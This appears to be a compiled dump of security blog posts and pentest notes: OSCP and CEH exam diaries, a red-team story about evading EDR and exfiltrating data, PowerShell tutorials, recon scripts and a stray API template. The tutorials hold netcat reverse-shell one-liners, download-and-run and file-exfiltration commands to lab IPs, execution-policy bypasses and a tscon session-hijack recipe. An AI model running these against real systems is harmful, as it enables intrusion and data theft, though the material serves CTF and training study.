my accomplishments, and walkthroughs so I had my own reference of the tools I used. This helped me, I knew what the syntax and output looked like. These writeups are still in my notes, and I even used them on my exam! However, this HTB quickly became an addiction. I referred to it as "retire anxiety". For those that know HTB, when a machine retires (to introduce a new machine, which happens weekly), points only remain for those active machines. No way did I want my points to drop! So, not only was I doing HTB constantly, but to get higher ranks, I HAD to keep going. I would say with my newfound sobriety, HTB replaced my addiction to alcohol. Not to get off subject, but this caused a lot of issues with my family, and so I had to limit my time to two or three nights a week of "studying" (as I referred to it). I had my end goal in sight and knew what I wanted. I used HTB as my main platform to begin and was on there for six months. During this time, I found that I was creeping away from SQLMap to perform SQLi attacks manully, taking the time to research what I was doling. I knew MetaSploit was limited on the OSCP exam, so I actively attempted to exploit anything I could on my own (but man, MetaSploit is so much easier). I want to say that this was my biggest success. I learned how to use the tools I needed to on the exam. Not saying I have NEVER used MetaSploit, but just avoided it where I could. That lasted until February of this year, three months ago. At this point, I had achieved Elite Hacker status on HTB. My team was rated in the top 100, in the low 70's. Although Xaliom carried our team with the highest points, I was always trying to be second. Unfortunately, cause I wasn't first though, I was last ... Have to live up to the Talladega Nights: The Ballad of Ricky Bobby standard. But I was starting to feel comfortable. The nights I was not on HTB, I was reading books such as Penetration Testing by Georgia Weidman, The Web Application Hacker's Handbook by Dafydd Stuttard and Marcus Pinto and Hacking: The Art of Exploitation by Jon Erickson just to name my top three favorites. These got me into a methodology, and not just wildly and frantically looking for vulnerabilities. Reading became just as important as HTB. The list goes on of other books I used for reference, or started and not finished... I will get back to those, one day. You are not forgotten, Black Hat Python! In February, I started to tackle the OSCP like HTB machines (). For those that are new to HTB, or new to the whole hacking world, this is where you should start (from my point of view). If I would have tackled this list first, and not gone for points, I would have been so much better to start off. These OSCP boxes all have write-ups easily searchable, and because of this when you get stuck there are multiple write-ups to get you through. Doing this would have gotten me used to the tools, rather than fumbling my way through. These machines really were what got me prepared for the labs the most. I completed the list of Linux machines, then moved onto Windows. All the while, I used several different platforms for my notes, testing which one fit me the best. Notes. Notes were essential. I constantly referred to my notes, which I have gathered over these last nine months. I tried several different platforms. I tried Cherry Tree on Linux first, and honestly really liked it. However, because I have multiple computers that I use, depending on how I feel that day, it was hard to back up to a repository and download every time I moved computers. I moved to Google Docs, huge mistake. Ultimately what I used in the end was GitBook. I highly recommend GitBook for its functionality and searching within GitBook is insanely fast and efficient. When I needed a reference for a tool, let's say hydra, typing in 'hydra' into the search bar not only displayed my notes in 'Web Attacks' for what the tool was, but I found practical examples from machines in HTB where I had used it (yes, all my HTB machine writeups are transferred into my GitBook.) Now, at this point, I was eager and ready to sign up. I had read a few books, I was an Elite Hacker on HTB, and did the OSCP like boxes. It was early March now, two months ago, and I felt ready. I signed up and enrolled to begin 30 days of labs to start early April. In the meantime, I kept up on my HTB points, stuffing down my "retire anxiety"! The OSCP labs and material were absolutely amazing. When the labs were unlocked, to keep myself on pace, I booked my exam for early May so I would not put this off! I was enrolled into the 2020 updated course, and the new material was, honestly, great. I took the first 7 days, and watched all the videos, referencing the PDF along the way. To be honest, I found that the PDF goes over the videos verbatim, so I did not read the PDF cover to cover, but used as a reference. Anything and everything the videos covered, I put into my GitBook notes. This led to a rapid increase in size but I now had everything I needed in there as reference, and it was quick and easy to find it all when required. Because I purchased 30 days of lab time, I did not complete the exercises and submit a lab report. For those preparing for the OSCP, in looking back, I would recommend looking more at this option. I wish I would have done the lab report, even though it is extensive. The lab report requires you have a write-up of ten machines you "pwned", as well as all the lab exercises in the PDF. The lab exercises are what scared me away since I wanted to focus on playing in the labs. I was able to root 20 machines in the lab, all MOSTLY on my own. For those few boxes that were difficult, I turned to the forums, or fellow hackers I know that hold OSCP. The Offensive Security forums were very casual, and it was easy to talk to anyone in them. They were a great place to turn to for suggestions, post questions and even request nudges when stuck, similar to the HTB forums. I always used this a last-ditch effort, always trying and covering everything I could think of before reaching out for help. At first, 30 days seemed so long. However, by the last few days, I could not believe how quickly they had flown by. I had done the lab time and was getting more and more nervous as my exam date crept nearer. After the labs were done, I needed something to work on before my exam. I had booked it one week after my lab time ended. During the last days of my lab time, someone told me about [TryHackMe](https://tryhackme.com/), a similar tool to HTB. Because I had already done the HTB OSCP-like machines, I turned to TryHackMe's OSCP learning path. I am happy I did and will keep my TryHackMe membership to continue learning more with this as well! This is another great site, "easier" than HTB but great with vulnerable machines to hack. Finally, before I knew it, it was May 10th, and the exam was the next day. Although I was frantic, I called it an early night and turned my computer off before dinner. I understood that nothing I would do the night before, would prep me any more. I spent the night with my family, ate a good dinner, and was in bed 9 hours before my exam start time. I was to eager and nervous! I could hardly sleep. ### Buffer Overflow Preparation The buffer overflow scared me when I started this learning path. The idea of learning how memory worked, to create a malicious exploit to crash a program, that sent a reverse connection back for system access!? It is not bad. I looked at Justin Steven's dostackbufferoverflowgood () which is an awesome tutorial. I started by spinning up a Windows 7 "exploit" machine (again, I use several computers, and this was portable). I installed Immunity, IDA, DNSpy, all the tools I could think of for exploit creation. I did the dostackbufferoverflowgood, and moved on to other executable. I found a vulnerable version of minishare, and exploited that, along with vulnserver. Do all you can, practice! ### The Exam I have switched from Chrome to FireFox being my daily web browser. I tested my webcam in FireFox, and when I got my browser going for the proctoring software, my CPU utilization jumped to 98%, and stayed steady through the entire exam. FireFox took all my CPU, and Chrome could not detect my webcam. It was already 40 minutes into my exam and did not want to waste any more exam time troubleshooting. Get your Chrome's working for the proctoring software, everyone I talked to on this said they used Chrome. Maybe stear clear of FireFox? I used some basic scripts for my enumeration right at the start. I made some small scripts prior to the exam that took a file (i.e. IP.txt) with all the IP's for my machines in that file. I fed this into scripts like nikto\_enum.sh, nmap\_enum.sh, dirb\_enum.sh, etc. These enum scripts were basic shell one-liners that performed a quick for loop, to loop though the IP's and perform a standard scan, and then save the output of each to a folder of it's own IP. I have heard of better suggestions, but these were easy and worked. I also built some other quick terminal line options for these scripts with pre-built scans for further enumeration if needed. I recommend doing this, and having rudimentary scripts to automate your standard scans, it will save time. Once scanning kicked off, I got to work on the Buffer Overflow. I quickly got a working exploit in the first hour and a half. Slow to what others get it, but for this n00b I was proud of that time frame. I then went for the next box, an easier one, where I quickly rooted it. This was two hours in, and I had already received half the exam points needed. Halfway there ... I then got to work on the remaining three boxes. All my scans were complete at this point, and so I began working on two of the medium ones. After some time and frustration I stepped away and ate lunch. I spent 30 minutes with my family and cooled off my jets. When I returned, I took a peek at the harder machine. After reviewing the scan results, I found the way in through some light tinkering. With that, I performed some privilege escalation scans, and looked at another box. And, I found something I missed on my initial enumeration, that led me to finally getting in. I got onto the machine as a low-level user. I found something else interesting, and quickly got root. At this point, it was dinner time, where I took another break. I walked away for another 30 minutes and took some time with my family. I must honestly say, the small breaks and stepping away, not getting caught in the rabbit holes, checked my sanity! Do not get lost on the rabbit holes, take a step back, and look at the problem. When I returned, I popped a shell on another box, and got the final find of my exam. That is where it stayed, I was never able to privilege escalate on the final two machines. I was able to get onto all five, all without MetaSploit. I worked until the final five minutes of my exam, living off energy drinks and an hour and a half of sleep. But, at the end of my time, I took a small nap and got to work on my exam report. I finished by the evening, and 36 hours after my exam start time, my report was officially submitted... ### Top Five Takeaways Here are my top five takeways: 1. There is ALWAYS a way in, you just need to find it. It may not be apparent, it may require two or three vulnerabilities to get in, but EVERYTHING is hackable. Stay determined. 2. Versions. Always find them. They may be hidden from banner grabbing. You may need to do some digging, such as using WireShark and grabbing those packets to find the version. But finding exactly what you are working with is important. 3. Enumeration, enumeration, and then more enumeration. Enumeration is solid. Enumerate more. 4. When you think you are lost, take a break. Walk away, go and do something else. Towards the end of my 30 days of labs, I was burned out. It is good to step away, take a breath, go tell the family you love them, and get back to work when you can. 5. You can do anything you put your mind to. This is cliche, I KNOW. But honestly, I always wanted to try for OSCP, and a year ago it seemed daunting. But this exam attempt has made me realize that I can do things I never thought I could. It seemed out of grasp, maybe it still is. But getting here has been a journey! Pass or fail, I am proud at what I have accomplished. ### End Rant And this brings me to my closing comments. Even though I am unsure if I passed, I learned so much about myself and my determination to OSCP's motto of "try harder". I did something over the last few days that challenged me entirely. To those of you in my multiple Slack and Discrod servers and Reddit threads, thank you! Exabyt3, SurgicalMittens, Xaliom, nineninenine, Gridith, The XSS Rat, CyberTuna, The Mad Human, Cyptik, Axua, and anyone I forgot, you kept me sane and helped me through when times were tough with this. I will find out in 10 business days or less what the outcome is. Thanks for reading! # CEH Exam Blog @nanobyte CEH Blog Jul 11, 2019 | nanobyte First, I want to drop some background about me. My past is radio communications maintenance for the military (for 9 years), but wanted to work on computers (darn recruiters!). Anyways, I tried CCNA but didn’t finish module 4 about 8 years ago, and got some smaller military computer training. I got an Associates of Computer Science while I was in, and used my GI Bill to get a Bachelor’s in Cyber Security from Colorado Tech, graduating last year (I honestly don’t know how “Technical” is in there name… The classes were all papers!). I have been officially working in IT for two years, and have been interested in security for the last few. I also have a family with 3 kids, 3 dogs, and work full time. So life is always busy, and during testing I dedicated an hour or two, about 3 to 4 days a week, for 3 months to complete this. Now, onto my study methods. Work paid for me to take the training and the exam, so they purchased the self paced iClass. This came with iLabs. What I found with the iClass was a good introduction to the basics with the videos. When it came to learning the tools in the class with the labs, I cannot say that a single one helped me in the exam (these labs are not iLabs, but go “along” with the videos, they’re more like exercises). I finished the iClass in my first 30 days, taking notes along the way. I do not think any of the class was critical, and I think I would have been able to pass the exam without this! Because I was in the military, I have a free FedVTE account. If you were in, or worked for the government I believe, you also have access to all the free videos. In there was CEH v9, and I completed all these videos as well. I watched and listened to them while I was at work in the background, and was another good foundation. After the iClass, I purchased Boson tests to see where I was at (first time using Boson, this was critical to my passing!). My first test, I was in the low 50’s, and was distraught! But I was determined. I took a practice method from a friend, and used the tests as a study method. Every time I answered a wrong question in study mode, or a correct answer I did not FULLY understand, I would use my 3 ring binder full of college ruled paper, and I would (in my own words) write down the correct answer, why it was correct, and why the answer I chose was incorrect (filled up FAST). Usually, this would come out to a full page of writing. This was very time consuming. What I found by doing this was I was able to quickly pick up WHY the answer was correct, understanding the meaning behind the question. Through the rest of my studying (the next two months), I did this consistently, and quickly made it into higher scores by the last two to three weeks, consistently hitting 90’s in simulation mode for Boson. About 30 days ago I started the Matt Walker All-In-One. I found that reading this, cover to cover, was most likely my success to passing the exam. There is so much great knowledge, and he truly keeps the book interesting to read. The exam tip notes are truly helpful, and I found the areas (of his suggestion) to focus on. Also, the provided questions from the book REALLY are similar to what you will see on the exam (some looked to be from the exam itself, even, in similarity). Again, I consistently re-read my notes at night, and writing down why I got answers wrong, in my 3-ring binder. The final night before the exam, I quizzed myself, re-memorizing nmap flags, common port numbers, etc. Once I got to the exam and checked in, as soon as I sat down, I re-wrote all of this from memory so it was in front of me the entire exam. I found that it did not really aide me as much as the Matt Walker book said it would, but kept me consistent in my answers as a reference. For the exam itself, it is already touched on. But it is riddled with spelling mistakes, and poorly worded English (much like my post). In fact, even one question was similar to this (as an example…): Here is the question. Please select the best answer below: * Answer was not this * Answer truly was this * Both B and C * Answer truly was this THIS is how it was laid out! the “-“ are representing the bubbles, and NO WHERE did it list A, B, C, or D! Just to make sure I called in the proctor, and of course was told she couldn’t help… Other then that ONE, the rest were fairly straight forward. I flagged all the questions I did not know when I answered, and when I reviewed there was only 14 flagged. So, overall, it was not bad for me. Finally, I am terrible at writing, so forgive me if this is a shotgun blast, all over the place. About two weeks ago, I went to buy a last minute study guide for exam questions off Amazon, but only could find v9 material, nothing v10 seemed greatly reviewed. So, when I came across one v10, I purchased it. When it came, I had re-purchased the Matt Walker All-In-One! SO, very stupid mistake. But, I want to pass on the good vibes today, so I am (hoping) to find a fellow Veteran, student, or someone low income (I know this cert is expensive) and would like to gift my mistake. If you are interested in me sending this to you, for free (I’ll even pay shipping… But I will not rush delivery!) please message me. First one to message will get it. Best of luck to all in your future studies! Onto my next cert (I am thinking CCSP, ISC2?)! # Five Offensive Objectives Exabyt3 The five essential objectives for a successful offensive operation. ## **PREFACE:** This blog post originated from an idea I had while standing at my own "virtual Bellagio Fountain." During an engagement, my team of three gained access to a hardened environment, where our objective was to maintain persistence without setting off any security alerts. To achieve this, we needed to enumerate the security stack and identify ways to process and extract information from technologies such as Splunk, Sysmon, and other EDRs. For this purpose, I leveraged the detectionlab () project to understand the various events or detections that my actions might trigger. For brevity, I will skip the enumeration phase and jump directly to the persistence method we discovered in the environment. It involved a broken SSO and users susceptible to a push fatigue attack, which created an exploit chain allowing us access to a virtual desktop environment via VMware Horizon. Using this access, we could move laterally and obtain privileged credentials, which we validated but did not exploit. At this point, we had access to multiple jump hosts and two ways into the network via VPN/WebShell. Now that we had persistence and the necessary permissions to access the vault, our next objective was to reach the Bellagio Vault, which was defended by multiple Security Operation Center (SOC) teams. After enumerating the network, we found that different parts of it used different security stacks and event forwarding methods. This discovery was interesting as it forced us to ensure that our code execution and lateral movement techniques would either bypass EDR or blend into the data stream of logs. The differences between the environments of the SOC teams slowed us down considerably. Furthermore, the Vault was situated in a segmented network that could only be accessed via a jump host, which we knew would be well-monitored by a different security stack. We needed a solution. ## **The Big 5:** The big 5 doesn’t have a specific order. We needed to obtain all 5 before we could watch the *chaos.* Each member of the team is to discover a way of performing the following 5. Following discovery, we discuss which would work best for this environment. 1\. A way to Encrypt 2\. A way to Exfiltrate 3\. A way to Write 4\. A way for Code Execution 5\. A way to Buy Time. **A way to Encrypt**: The vault data needed to be sent outside of the network. As stated earlier, this environment had a full security stack including transparent proxy. However, this applies to any environment **Always Encrypt** your Exfil! There are many ways of performing encryption using tools like 7z or \. As stated earlier, after enumeration these encryption methods were not uncovered. Executing 7z.exe would have created a process created alert in Sysmon. Instead, live off the land, Microsoft office applications can AES256 encrypt their products. The team opted to use those to encrypt our data with a 35-character key. **A way to Exfiltrate:** The exfiltration method is very important and can’t be interrupted. (Tip of the hat to [https://lots-project.com](https://lots-project.com/)) Similar to encryption, we want to enumerate traffic and identify what is normal behavior to normal sites. We opted to use a business application with a different subdomain to host our data. Prior to execution, we used our way to encrypt to encrypt a blob of dummy data, and our new business application to exfiltrate. (It worked, Excellent.) **A way to Write:** The Environment vault is big, enumeration doesn’t tell us how big it is, but our team is planning for a large amount of data. If our location is compromised by the SOC team and they closeout our “VMware Horizon” Desktop… we want to be able to recover whatever data, we can. Knowing this, we leverage azure or on prem to find a writeable location or share to access if the worst case happens. We test this by dropping another encrypted blob on the writeable location. We use our smoke screen (A way to buy time) to confirm the location and data is recoverable. **A way for Code Execution:** Knowing the security stack and trying to glean some information from detection lab is important for code execution. Discussing with the team what shellcode execution technique you will use is important. Remember, at this time we have not executed anything “malicious”. Checking if constrained language mode is disabled is a good first step for deciding if .net reflection can be discussed. Do you need to bypass AWL? What will that look like on the event forwarding, is that event-id “Expensive” (or noisy so it’s whitelisted) for SOC to collect. For the “Environment”, we discovered a mistake, the environment did not enforce constrained language mode on another VMWare Horizon environment. (Excellent) We test code execution **LAST always.** With the mistake discovered of missing constrained language mode, our team opted to bring our own tools using PowerShell .net reflection. Code execution was tested by reflecting binary that performed an LDAP query. However, before performing the lookup, we used an AMSI bypass and ETW (tip of the hat to XPN ). After execution we wait for a response, once no response occurs, we continue. **A way to Buy Time**: We have enumerated the (multiple) stacks. We have read documentation that we could access about procedures and policies. (Lucky if you find the IR policy). Our team discusses how long we believe response will be, once we have a number, we discuss options to make roadblocks more difficult for IR. (Shoutout to 13Cubed ) The team calls this our *smoke screen* how many RDP sessions can we move away from our code execution user account. Will our team have enough time to exfiltrate the data. (For this “Environment”, yes. Excellent!) ## **The Execution Phase:** Enumeration of policies, event logs and any other data we can discover about the IR team. We decide to move at a certain time, this time we believe is a *lunch* for one SOC team and another team begins. We have an idea of geographical and the response time over the wire that it would take to remove our RDP sessions. We have our Encryption – Microsoft Tool, Exfiltrate – Subdomain.\.com, Write – File Share, Smoke Screen – Multiple RDP’s and Multiple entry points (web shell, VPN) As the blood began to pump. We began our code execution and successfully exfiltrated the Vault. As we retrieved the (Vault) from our exfiltration endpoint…We observed the code execution machine drop. A stunning response time from the SOC. However, we still got our Oceans 11 movie scene… the team executed the big five. The job was done, network and data were ours. Until next time! # Powershell For Penetration Testers Downloading And Exfiltrating Powershell For Penetration Testers Downloading And Exfiltrating (nanobyte) Aug 28, 2020 | nanobyte This next installment in the Powershell For Penetration Testers looks into how an attacker can introduce files to a victim machine through a PowerShell download, as well as how to use PowerShell to upload files from a victim machine to your attacking box. I recently decided to continue on with this series to help other new comers into the field to learn as I learn. I recently used these skills on a recent Hack The Box machine, which if I remember to, will post the link to the writeup as a practical example. ## Downloading Files with PowerShell Using a PowerShell session, an attacker can quickly download files to a victim machine. There are hundreds of examples more intense then what I will show you, but here are my two methods and go-to’s which I attempt whenever I am performing an attack. In the examples to follow, I will assume that I am attempting to download `nc.exe` to the victim machine, which I would then plan to use to call a reverse shell back to my attacking machine. I will assume that the victim machine I am attacking is a Windows based Operating System, and I am using Kali Linux as my attacking box. Luckily, PowerShell is installed on all Windows platforms, including Windows IoT Core (hint for the Hack The Box machine). Please also assume that my Kali Linux has a HTTP server running (This can be Apache, Python’s SimpleHTTPServer, whatever you prefer) and has an IP of 10.10.10.2, where the Windows machine is 10.10.10.1. ### Invoke-WebRequest The first example is a quick one that can easily be remembered, using a PowerShell cmdlet: ``` powershell -c "mkdir c:\temp & Invoke-WebRequest -URI http://10.10.10.2/nc.exe -OUTFILE c:\temp\nc.exe" ``` This command first calls PowerShell to run a command with the `-c` flag. This is shortened from the `-Command` flag. This also assumes that you are on the machine with a command prompt with remote code execution. Then, the command is actually executed, first making a directory to save our `nc.exe` binary to. The following command then uses the `Invoke-WebRequest` cmdlet to download our file from the web server, and saves it to the `C:\temp` directory. We could further this command by then calling `& c:\temp\nc.exe -e cmd.exe 10.10.10.1 1337` to connect back to our reverse shell (but that is outside of this article) to further our attack as a one-liner. ### System.Net.WebClient However, I frequently find that this is not the preferred method in Hack The Box or other CTF’s to download files to victims. This is from personal experience, where the above failes completely or a binary is not downloaded, or downloading slowly. This brings us to our next approach, using PowerShell’s `System.Net.WebClient`: ``` 1powershell -c "mkdir c:\temp & (New-Object System.Net.WebClient).DownloadFile('http://10.10.10.2/nc.exe','C:\temp\nc.exe')" ``` This is similar to the example above, creating the directory before downloading, only using a .NET class to download. ### Remember -ExecutionPolicy Bypasss Along with PowerShell, remembe that there are sometimes restrictions placed onto the PowerShell session you may be running. I already have an article describing how to beat these execution policies, found [here](https://ubg-hacking.team/2020/05/23/powershell-for-pentesters-beating-restricted-policies.html). To make sure that you beat these restricted execution methods, quickly throw a `-exec bypass` before your download command: ``` 1powershell -c "-exec bypass mkdir c:\temp & Invoke-WebRequest -URI http://10.10.10.2/nc.exe -OUTFILE c:\temp\nc.exe" ``` ## Exfiltrating Data This is a method where you use a HTML server running on your Kali Linux attacking machine, where PowerShell can upload a file from a victim machine to your Kali. First, we will need to create a PHP page to process our upload request. This can be found here: ``` 12345 ``` Also, make sure that the upload directory exists in your Kali Linux. Once saved and created into our `/var/www/html` directory as `upload.php`, start and stop our local Apache processes: ``` 123sudo service apache2 status/etc/init.d/apache2 start/etc/init.d/apache2 stop ``` And once running, from the victim box, call the PowerShell command to exfiltrate the data you require: ``` 1powershell -c "(New-Object System.Net.WebClient).UploadFile('http://10.10.10.1/upload.php, 'file.txt')" ``` And check your upload directory for the file! Thank you for reading, please keep coming back for more in this series as nanobyte learns and updates PowerShell For Penetration Testers! # Powershell For Penetration Testers Switching Users Powershell For Penetration Testers Switching Users (nanobyte) Jun 1, 2020 | nanobyte While completing Hack the Box’s Sniper machine, I came across the need to have to switch to a different user. Credentials were discovered in a db.php file, and there was no way to login as that user using external tools such as Evil-WinRM. However, thanks to PowerShell, there is a simple way to quickly write a script to store these credentials in variables, and enter a new PowerShell session to that user. To begin, the credentials discovered were Chris:36mEAhz/B8xQ\~2VM. To start out, the first variables I needed to set were the username and password: ``` 12$username='Chris'$password='36mEAhz/B8xQ~2VM' ``` Now that I had the credentials stored, I could not pass these credentials as plain text. PowerShell is special when it comes to handling passwords; it requires that you use a secure string when passing passwords for accounts. This can be completed using PowerShells ConvertTo-SecureString. To find out more about this, please visit [docs.Microsoft.com](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7). To secure the password, I made a new variable `$securePassword` and secured the `$password` string: ``` 123$username='Chris'$password='36mEAhz/B8xQ~2VM'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force ``` Now, I had the beginning parts of my script complete. It has taken basic user credentials and stored them securely to pass for use to enter into our new session. The next stage is creating a `$credential` variable and using PowerShell’s New-Object cmdlet to create a new .NET framework object for the credentials. In PowerShell, objects are “things” that the language can “consume”, and have their own properties. In my case, I was creating a new `$credential` object for PowerShell to “use” that consist of several properties. We can see these properties coming up. To make this object, I added the following command to our script: ``` 1234$username='Chris'$password='36mEAhz/B8xQ~2VM'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword) ``` With that I had created our object containing Chris’ credentials! At this point, I was able to check to make sure that the credentials are properly stored. PowerShell provides a GetNetworkCredentials method to verify this. I simply called this method on the new credentials object, along with format-list. PowerShell’s format-list is a powerful output tool, which displays a tabled list of properties. To output all the properties, we include the star symbol after the cmdlet: ``` 12345$username='Chris'$password='36mEAhz/B8xQ~2VM'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)$credential.GetNetworkCredential() | Format-List * ``` And as output, we should see the proper credentials returned in a PowerShell formatted list: ``` 123UserName : ChrisPassword : 36mEAhz/B8xQ~2VMSecurePassword : System.Security.SecureString ``` Finally, I then entered into a new PowerShell session. This is completed by first using the New-PSSession cmdlet. This cmdlet allows us to create a new session on a local or remote computer. I then passed the stored secure credentials to this new session! And once passed, I piped to PowerShell’s Enter-PSSession cmdlet to enter into the session: ``` 123456$username='Chris'$password='36mEAhz/B8xQ~2VM'$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)$credential.GetNetworkCredential() | Format-List *New-PSSession -Credential $credential | Enter-PSSession ``` And with that, I had properly created a simple script to switch into a user PowerShell session, when I was unable to log into the machine using external tools! Now, to take this one step further. I could use this method and create a PowerShell one-liner. This one liner would look something like this (I have removed the `$credential.GetNetworkCredential() | Format-List *` line to make the line more digestable, but can be placed in for a credential check: ``` 1$username='Chris';$password='36mEAhz/B8xQ~2VM';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword);New-PSSession -Credential $credential | Enter-PSSession ``` And this would enter into a new PowerShell session as a one-liner. To use this one-liner in another practical example, during OSCP’s labs I had to bypass a restricted PowerShell policy and spawn a new process with user credentials, in a one-liner. To start, check out my previous post on [beating PowerShell’s restricted policies](https://ubg-hacking.team/2020/05/23/powershell-for-pentesters-beating-restricted-policies.html). To spawn our new process, we would make the following change: ``` 1powershell -exec bypass -nop -c "& {$username='Chris';$password='36mEAhz/B8xQ~2VM';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword);$prog='C:\\temp\\nc.exe'; $args='-e cmd.exe 192.168.119.129 443'; Start-Process -Credential $prog $args }" ``` It is important to pass the `-Credential` object first, before `$prog` and the `$args` variables to work properly. Thanks for reading! # Powershell For Penetration Testers Beating Restricted Policies Powershell For Penetration Testers Beating Restricted Policies (nanobyte) May 23, 2020 | nanobyte Recently, while I was going for my Offensive Security Certified Professional (OSCP) certificate, I ran into a machine in the labs which had a restricted PowerShell. Simply stated, I could not enter into an interactive PowerShell session or run any PowerShell commands or scripts. PowerShell has several execution policies which can be set on a system, and these execution policies determines which scripts can be run. By default, this is set to “restricted”. From Microsoft, restricted “doesn’t load configuration files or run scripts. The default execution policy Windows client computers.” However, there is an execution policy which, as penetration testers, we want to have set. That execution policy is “bypass”, which Microsoft states “nothing is blocked and there are no warnings or prompts.” Luckily, I am able to set the execution policy when I call a PowerShell command, and can state that the PowerShell command needs to run with bypass as the policy. Now, even though the default restricted policy is set, our commands will still run. To run a PowerShell command with bypass: ``` 1powershell -ExecutionPolicy Bypass -Command "whoami" ``` Or, for shorthand: ``` 1powershell -exec bypass -c "whoami" ``` Now, even though the system is restricted, PowerShell can still be leveraged! Let’s build on this and take it another step further. When you enter a PowerShell session or run a command or script, you run it in the context of the current profile. I could check the PowerShell profile and see what is set. But by running commands without checking this first, I do not know what the profile contains. Alternatively, for best practices, I can supply the No Profile flag which will run my script without using any profile: ``` 1powershell -ExecutionPolicy Bypass -NoProfile -Command "whoami" ``` Or, another shorthand: ``` 1powershell -exec bypass -nop -c "whoami" ``` With this, I can run commands from a restricted PowerShell enviornment without any profile loading. We are almost at the end goal, to spawn a new process on the system. Luckily, PowerShell has the built in Start-Process cmdlet (command-let). A cmdlet is a lightweight command that can be used within a PowerShell enviornment. There is most likely a cmdlet for anything you wish to accomplish in PowerShell. In my case, I wanted to start netcat for a reverse shell. Start-Process is a powerful cmdlet, and to better understand it visit [docs.microsoft](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7). For my case, I needed to first define the program to spawn, followed by the arguments. Simply calling `Start-Process nc -e cmd.exe ` would fail here. To properly spawn this new process: ``` 1powershell -exec bypass -nop -c "& {$prog='C:\\temp\\nc.exe'; $args='-e cmd.exe 192.168.119.129 443'; Start-Process $prog $args }" ``` Now, my command will call PowerShell with bypass as the execution policy, to run without any profile set, and run my Start-Process command, properly passing the $prog and $args variables. At this point, you might be asking, where did the ampersand come from? In PowerShell, the ampersand is a reserved character for a run call operator. This call operator is needed to force PowerShell to treat the text as a command and not a string, and execute it. For more information, please visit [ss64.com](https://ss64.com/ps/call.html). And that is it, the above command will now spawn a new process, bypassing the restricted PowerShell execution policy to run my command! # Attacks ToDo # WebHosting # IP's to block lazy ufw blocklist for webhosting ``` for i in $(curl https://gist.githubusercontent.com/exabyt3/458de46bd00c17332fcf7a1ae0fa7f52/raw/f07f7d751e7a2dd718e053c00590aa642e5038d3/gistfile1.txt);do ufw deny proto tcp from $i to any port 80,443;done ``` # Reconnaissance # C99 Recon ``` client_name="" if [ $user_name == ""]; then echo -n "What's your name? "; read user_name fi if [ $domain_name == ""]; then echo -n "what's the attacking domain (eg. example)? "; read domain_name fi ############################################################# webhook="[slackHook]" key="[c99 API key]" ips=$(cat < ip.txt) domains=$(cat < domains.txt) ############################################################# subdomainFinder() { echo "Starting SubDomain finder on $domain_name...";echo for i in $domain_name; do curl "https://api.c99.nl/subdomainfinder?key=$key&domain=$domain_name&json" |grep -o '"subdomain":"[^"]*' |cut -d '"' -f 4 |tee -a subdomains.txt;done for i in $(cat < subdomains.txt); do curl "https://api.c99.nl/subdomainfinder?key=$key&domain=$domain_name&json" |tee -a jsonSubdomains;done cat jsonSubdomains | grep -o '"ip":"[^"]*' |cut -d '"' -f 4 |grep -v none |tee -a discoveredIPs.txt sort discoveredIPs.txt |uniq > ip.txt } ip2domain() { echo "resolving ip to domains" ;echo for i in $ips; do curl "https://api.c99.nl/ip2domains?key=$key&ip=$i&json" |tee -a ip2domains.txt;done } basicNMAP() { echo "basic nmap" ;echo for i in $ips; do curl "https://api.c99.nl/nmap?key=$key&host=$i&json" |tee -a basicNMAP.txt;done } domainHistory() { echo "discovering domain history" ;echo for i in $(cat subdomains.txt); do curl "https://api.c99.nl/domainhistory?key=$key&domain=$i&json" |tee -a domainHistory.txt;done } finishrecon(){ curl -X POST -H 'Content-type: application/json' --data '{"text":"finished c99 recon for '$user_name' on '$domain_name'.", "icon_emoji":"fire", "username":"c99 recon"}' $webhook } recon() { subdomainFinder ip2domain basicNMAP domainHistory finishrecon } recon ``` # DNS # SubDomain lookup # Tools/Syntax todo Subfinder ``` # Install go get github.com/subfinder/subfinder # Basic usage subfinder -d example.com > example.com.subs # Recursive subfinder -d example.com -recursive -silent -t 200 -v -o example.com.subs # Use censys for even more results subfinder -d example.com -b -w wordlist.txt -t 100 -sources censys -set-settings CensysPages=2 -v -o example.com.subs ``` Amass after subfinder ``` amass enum --passive -d example.com -o example.com.subs ``` asset Finder after amass ``` # Install go get -u github.com/tomnomnom/assetfinder # Basic usage assetfinder [--subs-only] ``` GetAllUrls gau ``` # Install GO111MODULE=on go get -u -v github.com/lc/gau # Extract subdomains from output gau -subs example.com | cut -d / -f 3 | sort -u ``` # O365 RealmInfo {% embed url="" %} Change email {% endembed %} # On-Prem Linux # Shell Upgrades ## Using Script ``` /usr/bin/script -qc /bin/bash /dev/null ``` # On-Prem Windows # Service Session Hijack Service Session Hijack ``` C:\Users\Will>query user C:\Users\Will>sc create hijack binpath= "cmd.exe /k tscon /dest " C:\Users\Will>net start hijack ``` # Egress Testing ``` nmap -T4 -PN allports.exposed ``` ``` nmap -T4 -PN scanme.nmap.org ``` ``` import SimpleHTTPServer import SocketServer PORT = 8000 class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): content_len = int(self.headers.getheader('content-length', 0)) post_body = self.rfile.read(content_len) print post_body Handler = ServerHandler httpd = SocketServer.TCPServer(("", PORT), Handler) print "serving at port", PORT httpd.serve_forever() ``` # Detection ToDo ## Get Cakes `GET` `https://api.cakes.com/v1/cakes/:id` This endpoint allows you to get free cakes. #### Path Parameters | Name | Type | Description | | ---- | ------ | ------------------------------------------ | | id | string | ID of the cake to get, for free of course. | #### Query Parameters | Name | Type | Description | | ------ | ------- | --------------------------------------------------------------------- | | recipe | string | The API will do its best to find a cake matching the provided recipe. | | gluten | boolean | Whether the cake should be gluten-free or not. | #### Headers | Name | Type | Description | | -------------- | ------ | -------------------------------------------------------------- | | Authentication | string | Authentication token to track down who is emptying our stocks. 